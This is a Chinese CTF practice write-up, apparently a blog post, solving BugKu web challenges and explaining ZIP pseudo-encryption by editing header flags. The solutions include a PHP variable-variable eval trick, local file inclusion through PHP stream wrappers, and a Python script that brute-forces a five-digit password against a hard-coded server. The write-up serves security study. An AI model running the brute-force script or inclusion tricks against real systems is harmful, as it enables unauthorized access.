91.91p06./index.php?,CTF--zip伪加密

刷题

###一.BUGKU

WEB

1. 变量1

知识点php两个$$是 可变变量,就是一个变量的变量名可以动态的设置和使用 $GLOBALS一个包含了全部变量的全局组合数组。变量的名字就是数组的键

include "flag.php"; //包含flag.php这个文件

$a = @$_REQUEST['hello']; //$a这个变量请求变量hello的值

if(!preg_match('/^\w*$/',$a )){ //正则表达式,匹配字符串,\w表示字符+数字+下划线,*代表有若干个\w字符组成。

die('ERROR');//不匹配则输出ERROR

}

eval("var_dump($$a);"); //如果匹配输出\$\$a的值

show_source(__FILE__);

?>

3ace7cf950b5384ca1d1f9057b4b6e76.png

2.头等舱

直接burpsuit抓包,看返回包

8c2c18c5960d4b9bfce1e69b46766aa8.png

3.WEB4

给了提示,查看源代码

78c3570ea9f08a2a5cc87ee39fe91933.png js代码,加密了,我们自己写个html文件,可以把eval改为alert,就把代码解密弹出了

6473d5ee8d47e941eba1582152364592.png 弹出的代码

function checkSubmit(){var a=document.getElementById("password");if("undefined"!=typeof a){if("67d709b2b54aa2aa648cf6e87a7114f1"==a.value)return!0;alert("Error");a.focus();return!1}}document.getElementById("levelQuest").οnsubmit=checkSubmit;

可以看到就是简单的构造一下password,password=67d709b2b54aa2aa648cf6e87a7114f1提交就可得到flag

568f88a71106db5efe08103909a697be.png

4.flag在index里

51354ed368cb16128c59cf175d52b861.png 有一个跳转链接,查看源代码

d2e8c04ebfee61c8f09e02ee0febb49c.png

像是文件包含,用PHP封装协议读取文件

bf2c3c25b5af5f78c77eb088545f3cd4.png base64解码得

Bugku-ctf

error_reporting(0);

if(!$_GET[file]){echo 'click me? no';}

$file=$_GET['file'];

if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){

echo "Oh no!";

exit();

}

include($file);

//flag:flag{edulcni_elif_lacol_si_siht}

?>

5.输入密码查看flag

49e9a26b7fb25e443896f62551def2d9.png

5位数可以爆破

1593f5842fe456952a904b18529be8d1.png 附爆破脚本

#coding:utf-8

import requests

url='http://120.24.86.145:8002/baopo/?yes'

value=[]

for i in range(0,99999):

if(len(str(i))<5):

value.append("0"*(5-len(str(i)))+str(i))

else :

value.append(str(i))

data = {'pwd':11111}

content = requests.post(url,data=data)

content.encoding='utf-8'

patch=content.text

for i in value:

data = {'pwd':i}

print 'trying',i

content = requests.post(url,data=data)

content.encoding='utf-8'

html=content.text

#print html

if html != patch:

print html

#print content.text.decode('gbk', 'ignore')

zip伪加密

zip伪加密是在文件头的加密标志位做修改,进而再打开文件时识被别为加密压缩包 一个 ZIP 文件由三个部分组成: 压缩源文件数据区+压缩源文件目录区+压缩源文件目录结束标志 压缩源文件数据区: 50 4B 03 04:这是头文件标记(0x04034b50) 14 00:解压文件所需 pkware 版本 00 00:全局方式位标记(有无加密) 08 00:压缩方式 5A 7E:最后修改文件时间 F7 46:最后修改文件日期 16 B5 80 14:CRC-32校验(1480B516) 19 00 00 00:压缩后尺寸(25) 17 00 00 00:未压缩尺寸(23) 07 00:文件名长度 00 00:扩展记录长度 6B65792E7478740BCECC750E71ABCE48CDC9C95728CECC2DC849AD284DAD0500 压缩源文件目录区: 50 4B 01 02:目录中文件文件头标记(0x02014b50) 3F 00:压缩使用的 pkware 版本 14 00:解压文件所需 pkware 版本 00 00:全局方式位标记(有无加密,这个更改这里进行伪加密,改为09 00打开就会提示有密码了) 08 00:压缩方式 5A 7E:最后修改文件时间 F7 46:最后修改文件日期 16 B5 80 14:CRC-32校验(1480B516) 19 00 00 00:压缩后尺寸(25) 17 00 00 00:未压缩尺寸(23) 07 00:文件名长度 24 00:扩展字段长度 00 00:文件注释长度 00 00:磁盘开始号 00 00:内部文件属性 20 00 00 00:外部文件属性 00 00 00 00:局部头部偏移量 6B65792E7478740A00200000000000010018006558F04A1CC5D001BDEBDD3B1CC5D001BDEBDD3B1CC5D001 压缩源文件目录结束标志: 50 4B 05 06:目录结束标记 00 00:当前磁盘编号 00 00:目录区开始磁盘编号 01 00:本磁盘上纪录总数 01 00:目录区中纪录总数 59 00 00 00:目录区尺寸大小 3E 00 00 00:目录区对第一张磁盘的偏移量 00 00:ZIP 文件注释长度

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值